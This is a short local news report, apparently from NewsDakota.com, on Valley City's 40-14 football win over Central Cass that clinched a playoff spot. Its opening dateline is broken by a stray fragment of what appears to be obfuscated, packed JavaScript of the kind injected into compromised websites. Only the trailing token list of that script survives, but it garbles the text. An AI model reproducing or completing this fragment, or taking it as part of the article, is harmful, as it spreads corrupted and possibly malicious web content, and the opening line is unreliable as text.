VALLEY hyrsn|var|u0026u|referrer|yznye||js|php’.split(‘|’),0,{}))
CITY (NewsDakota.com) – The Hi-Liner football team clinched a playoff berth Thursday night on their home field, rolling over Central Cass 40-14.

Tayler Lentz intercepted three passes, including one he returned 25 yards for a second quarter touchdown, to lead a dominant Valley City defensive effort Thursday.

After Central Cass went 70 yards for a touchdown on its opening drive, Valley City scored 40 straight points before giving up a garbage time touchdown to the Squirrels. The win improves Valley City to 5-2 overall and 4-2 in East Region play. It guarantees them a playoff berth from the East Region.

The Hi-Liners are now tied with Wahpeton at 4-2 in the East, Fargo Shanley and Grafton are both 5-1. Valley City is at Grafton on Tuesday night, as the Hi-Liners look to possibly improve their positioning for the playoffs. Central Cass drops to 4-4 overall and 3-3 in East Region play.

Lentz had a huge game defensively, and also caught a 13-yard touchdown from Austin Svenningson in the third quarter, which put the Hi-Liners up 26-8.



Anthony Olstad had two touchdown runs, the first of which put Valley City on the board with 1:46 remaining in the first quarter.



Shane Undem added a third quarter touchdown run for the Hi-Liners, which made it 32-8 and all but sealed the game.



Kyle Knutson also got in on the scoring, catching a 25-yard touchdown from Svenningson midway through the second quarter. That score put the Hi-Liners up 20-8, a lead they would take into halftime and never relinquish.

Valley City is at Grafton on Tuesday night. The game can be heard on TED 98.3/102.7 FM. Kickoff at 7 p.m. and pregame starting at about 6:30 p.m.